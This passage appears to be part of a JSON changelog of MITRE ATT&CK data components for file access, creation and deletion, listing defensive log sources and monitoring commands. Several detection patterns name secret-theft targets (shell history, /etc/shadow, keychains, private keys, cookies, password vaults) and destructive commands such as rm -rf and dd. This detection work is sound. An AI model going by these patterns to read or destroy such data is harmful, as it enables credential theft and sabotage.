{\"name\": \"esxi:hostd\", \"channel\": \"vSphere File API Access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read: Access to /proc/self/status with focus on TracerPID field\"}, {\"name\": \"fs:fsusage\", \"channel\": \"read/write\"}, {\"name\": \"esxis:vmkernel\", \"channel\": \"Datastore Access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read access to ~/.bash_history\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"open or read syscall to ~/.bash_history\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read access to ~/Library/Keychains/login.keychain-db\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,read\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"filesystem and process events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read system calls to ~/.bash_history or /etc/shadow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read access to ~/Library/Keychains or history files by terminal processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read of /run/secrets or docker volumes by non-entrypoint process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access to /Volumes/SharePoint or network mount\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to ~/Library/Safari/Bookmarks.plist or recent files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access to keychain database\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file read\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel messages related to cryptographic operations, module loading, and filesystem access patterns\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating access to system configuration files and environmental information sources\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_open, es_event_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or read to browser cookie storage\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file open for known browser cookie paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read, mount\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file reads/writes from /Volumes/\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - file provider subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey\"}, {\"name\": \"fs:quarantine\", \"channel\": \"/var/log/quarantine.log\"}, {\"name\": \"desktop:file_manager\", \"channel\": \"nautilus, dolphin, or gvfs logs\"}, {\"name\": \"linux:osquery\", \"channel\": \"/proc/*/maps access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive directories (/etc, /home/*)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read/write of user documents prior to upload\"}, {\"name\": \"esxi:hostd\", \"channel\": \"file copy or datastore upload via HTTPS\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open/read access to private key files (id_rsa, *.pem, *.p12)\"}, {\"name\": \"linux:osquery\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"None\"}, {\"name\": \"fs:fileevents\", \"channel\": \"File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)\"}, {\"name\": \"auditd:FS\", \"channel\": \"read: File access to /proc/modules or /sys/module/\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read: File access to /System/Library/Extensions/ or related kernel extension paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"*.opvault OR *.ldb OR *.kdbx\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.674000+00:00\", \"old_value\": \"2025-04-18 15:10:07.996000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 19:32:14.744000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0039", + "external_id": "DC0039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Creation", + "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). \n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysmon: Event ID 11: Logs file creation events, capturing details like the file path, hash, and creation time.\n- Windows Event Log: Enable \"Object Access\" auditing in Group Policy to track file creation under Event ID 4663.\n- PowerShell: Real-time monitoring of file creation:`Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663}`\n\nLinux\n\n- Auditd: Use audit rules to monitor file creation: `auditctl -w /path/to/directory -p w -k file_creation`\n- View logs: `ausearch -k file_creation`\n- Inotify: Monitor file creation with inotifywait: `inotifywait -m /path/to/watch -e create`\n\nmacOS\n\n- Unified Logs: Use the macOS Unified Logging System to capture file creation events.\n- FSEvents: Use File System Events to monitor file creation: `fs_usage | grep create`\n\nNetwork Devices\n\n- NAS Logs: Monitor file creation events on network-attached storage devices.\n- SMB Logs: Collect logs of file creation activities over SMB/CIFS protocols.\n\nSIEM Integration\n\n- Forward logs from all platforms (Windows, Linux, macOS) to a SIEM for central analysis and alerting.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "name": "macos:unifiedlog", + "channel": "file write" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Modification of .asar in /opt or ~/.config directories" + }, + { + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle" + }, + { + "name": "auditd:FILE", + "channel": "File creation with name starting with '.'" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation or modification of browser extension .plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or creat syscalls targeting excluded paths" + }, + { + "name": "macos:unifiedlog", + "channel": "file creation in AV exclusion directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "file creation/modification" + }, + { + "name": "macos:unifiedlog", + "channel": "file write/create" + }, + { + "name": "esxi:vmkernel", + "channel": "file write" + }, + { + "name": "snmp:syslog", + "channel": "firmware write/log event" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions" + }, + { + "name": "fs:fsevents", + "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute" + }, + { + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "name": "esxi:vmkernel", + "channel": "VMFS file creation" + }, + { + "name": "auditd:SYSCALL", + "channel": "write/open, FIM audit" + }, + { + "name": "fs:fsusage", + "channel": "open/write/exec calls" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .plist under /Library/Managed Preferences/" + }, + { + "name": "fs:fileevents", + "channel": "creat" + }, + { + "name": "fs:fsusage", + "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: Write to ~/.vscode-cli/code_tunnel.json" + }, + { + "name": "macos:unifiedlog", + "channel": "creation of ~/.vscode-cli/code_tunnel.json" + }, + { + "name": "macos:unifiedlog", + "channel": "create/modify dylib files in monitored directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "name": "linux:Sysmon", + "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch" + }, + { + "name": "macos:unifiedlog", + "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children" + }, + { + "name": "auditd:FILE", + "channel": "create: New file created in system binaries or temp directories" + }, + { + "name": "macos:unifiedlog", + "channel": "File created in ~/Library/LaunchAgents or executable directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: File creation or deletion involving critical stored data" + }, + { + "name": "macos:unifiedlog", + "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs" + }, + { + "name": "macos:unifiedlog", + "channel": "logd:file write" + }, + { + "name": "fs:fsusage", + "channel": "File IO" + }, + { + "name": "auditd:SYSCALL", + "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system" + }, + { + "name": "macos:unified", + "channel": "File creation" + }, + { + "name": "macos:unifiedlog", + "channel": "Attachment files written to ~/Downloads or temporary folders" + }, + { + "name": "fs:fsusage", + "channel": "file activity" + }, + { + "name": "CloudTrail:PutObject", + "channel": "PutObject" + }, + { + "name": "auditd:PATH", + "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads" + }, + { + "name": "auditd:PATH", + "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install" + }, + { + "name": "auditd:SYSCALL", + "channel": "write, open, or rename to /etc/systemd/system/*.service" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories" + }, + { + "name": "fs:fsusage", + "channel": "file open/write" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "File Events" + }, + { + "name": "auditd:SYSCALL", + "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang" + }, + { + "name": "macos:unifiedlog", + "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write, unlink" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "File creation of suspicious scripts/binaries in temporary directories" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation of unsigned binaries/scripts in user cache or download directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds" + }, + { + "name": "fs:fsusage", + "channel": "create: Attachment file creation in ~/Library/Mail directories" + }, + { + "name": "WinEventLog:Microsoft-Windows-Shell-Core", + "channel": "New startup folder shortcut or binary placed in Startup directory" + }, + { + "name": "auditd:SYSCALL", + "channel": "write or create file after .bash_history access" + }, + { + "name": "auditd:SYSCALL", + "channel": "new file created in /var/www/html, /srv/http, or similar web root" + }, + { + "name": "fs:launchdaemons", + "channel": "file_create" + }, + { + "name": "auditd:PATH", + "channel": "mount target path within /proc/*" + }, + { + "name": "macos:fsevents", + "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/" + }, + { + "name": "fs:fsusage", + "channel": "write or chmod to ~/Library/LaunchAgents/*.plist" + }, + { + "name": "auditd:PATH", + "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of files with anomalous headers and entropy values" + }, + { + "name": "auditd:SYSCALL", + "channel": "Access or modification to /lib/modules or creation of .ko files" + }, + { + "name": "fs:fsevents", + "channel": "Directory events (kFSEventStreamEventFlagItemCreated)" + }, + { + "name": "gcp:workspaceaudit", + "channel": "drive.activity logs" + }, + { + "name": "fs:fileevents", + "channel": "create/write/rename in user-writable paths" + }, + { + "name": "auditd:PATH", + "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs" + }, + { + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,create" + }, + { + "name": "auditd:FILE", + "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories" + }, + { + "name": "fs:fsusage", + "channel": "file write" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_open" + }, + { + "name": "macos:unifiedlog", + "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,creat,rename,write" + }, + { + "name": "macos:unifiedlog", + "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutObject" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0039\", \"external_id\": \"DC0039\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=11\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"creat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file write\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Modification of .asar in /opt or ~/.config directories\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE/MODIFY: Modification of app.asar inside .app bundle\"}, {\"name\": \"auditd:FILE\", \"channel\": \"File creation with name starting with '.'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation or modification of browser extension .plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or creat syscalls targeting excluded paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file creation in AV exclusion directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file creation/modification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file write/create\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"file write\"}, {\"name\": \"snmp:syslog\", \"channel\": \"firmware write/log event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMFS file creation\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write/open, FIM audit\"}, {\"name\": \"fs:fsusage\", \"channel\": \"open/write/exec calls\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .plist under /Library/Managed Preferences/\"}, {\"name\": \"fs:fileevents\", \"channel\": \"creat\"}, {\"name\": \"fs:fsusage\", \"channel\": \"disk activity on /Library/LaunchAgents or LaunchDaemons\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: Write to ~/.vscode-cli/code_tunnel.json\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"creation of ~/.vscode-cli/code_tunnel.json\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create/modify dylib files in monitored directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: New file created in system binaries or temp directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File created in ~/Library/LaunchAgents or executable directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, unlink, rename: File creation or deletion involving critical stored data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process wrote large .mov/.mp4 in user temp/hidden dirs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"logd:file write\"}, {\"name\": \"fs:fsusage\", \"channel\": \"File IO\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"creat, open, write on /etc/systemd/system and /usr/lib/systemd/system\"}, {\"name\": \"macos:unified\", \"channel\": \"File creation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Attachment files written to ~/Downloads or temporary folders\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file activity\"}, {\"name\": \"CloudTrail:PutObject\", \"channel\": \"PutObject\"}, {\"name\": \"auditd:PATH\", \"channel\": \"Creation of files with extensions .sql, .csv, .sqlite, especially in user directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Writes of .sql/.csv/.xlsx files to user documents/downloads\"}, {\"name\": \"auditd:PATH\", \"channel\": \"New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write, open, or rename to /etc/systemd/system/*.service\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file open/write\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of archive files in /tmp, /var/tmp, or user home directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File Events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation or modification of postinstall scripts within .pkg or .mpkg contents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write, unlink\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"File creation of suspicious scripts/binaries in temporary directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation of unsigned binaries/scripts in user cache or download directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds\"}, {\"name\": \"fs:fsusage\", \"channel\": \"create: Attachment file creation in ~/Library/Mail directories\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Shell-Core\", \"channel\": \"New startup folder shortcut or binary placed in Startup directory\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write or create file after .bash_history access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"new file created in /var/www/html, /srv/http, or similar web root\"}, {\"name\": \"fs:launchdaemons\", \"channel\": \"file_create\"}, {\"name\": \"auditd:PATH\", \"channel\": \"mount target path within /proc/*\"}, {\"name\": \"macos:fsevents\", \"channel\": \"/Library/StartupItems/, ~/Library/LaunchAgents/\"}, {\"name\": \"fs:fsusage\", \"channel\": \"write or chmod to ~/Library/LaunchAgents/*.plist\"}, {\"name\": \"auditd:PATH\", \"channel\": \"creation of .so files in non-standard directories (e.g., /tmp, /home/*)\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of files with anomalous headers and entropy levels in /tmp or user directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of files with anomalous headers and entropy values\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Access or modification to /lib/modules or creation of .ko files\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Directory events (kFSEventStreamEventFlagItemCreated)\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"drive.activity logs\"}, {\"name\": \"fs:fileevents\", \"channel\": \"create/write/rename in user-writable paths\"}, {\"name\": \"auditd:PATH\", \"channel\": \"WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,create\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip or .dmg files in user-accessible or temporary directories\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file write\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_open\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file create or modify in /etc/emond.d/rules or /private/var/db/emondClients\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,creat,rename,write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:32:14.744000+00:00\", \"old_value\": \"2025-04-18 15:10:18.072000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.450000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0040", + "external_id": "DC0040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Deletion", + "description": "Refers to events where files are removed from a system or storage device. These events can indicate legitimate housekeeping activities or malicious actions such as attackers attempting to cover their tracks. Monitoring file deletions helps organizations identify unauthorized or suspicious activities.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysmon: Event ID 23: Logs file deletion events, including details such as file paths and responsible processes.\n- Windows Event Log: Enable \"Object Access\" auditing to monitor file deletions.\n- PowerShell: `Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} | Where-Object {$_.Message -like '*DELETE*'}`\n\nLinux\n\n- Auditd: Use audit rules to capture file deletion events: `auditctl -a always,exit -F arch=b64 -S unlink -S rename -S rmdir -k file_deletion`\n- Query logs: `ausearch -k file_deletion`\n- Inotify: Use inotifywait to monitor file deletions: `inotifywait -m /path/to/watch -e delete`\n\nmacOS\n\n- Endpoint Security Framework (ESF): Monitor events like ES_EVENT_TYPE_AUTH_UNLINK to capture file deletion activities.\n- FSEvents: Track file deletion activities in real-time: `fs_usage | grep unlink`\n\nSIEM Integration\n\n- Forward file deletion logs to a SIEM for centralized monitoring and correlation with other events.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat on service binaries or data targets" + }, + { + "name": "auditd:SYSCALL", + "channel": "file deletion" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "esxi:shell", + "channel": "shell history" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "esxi:hostd", + "channel": "delete action" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, openat, write" + }, + { + "name": "macos:unifiedlog", + "channel": "exec rm -rf|dd if=/dev|srm|file unlink" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, rmdir" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, rename, open" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=23" + }, + { + "name": "fs:fsusage", + "channel": "unlink, fs_delete" + }, + { + "name": "docker:daemon", + "channel": "container file operations" + }, + { + "name": "esxi:hostd", + "channel": "rm, clearlogs, logrotate" + }, + { + "name": "esxi:hostd", + "channel": "Datastore file operations" + }, + { + "name": "macos:osquery", + "channel": "CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat" + }, + { + "name": "WinEventLog:Microsoft-Windows-Backup", + "channel": "Windows Backup Catalog deletion or catalog corruption" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "/etc/fstab, /etc/systemd/*" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0040\", \"external_id\": \"DC0040\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink/unlinkat on service binaries or data targets\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file deletion\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell history\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=23\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"esxi:hostd\", \"channel\": \"delete action\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, unlinkat, openat, write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec rm -rf|dd if=/dev|srm|file unlink\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, unlinkat, rmdir\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, rename, open\"}, {\"name\": 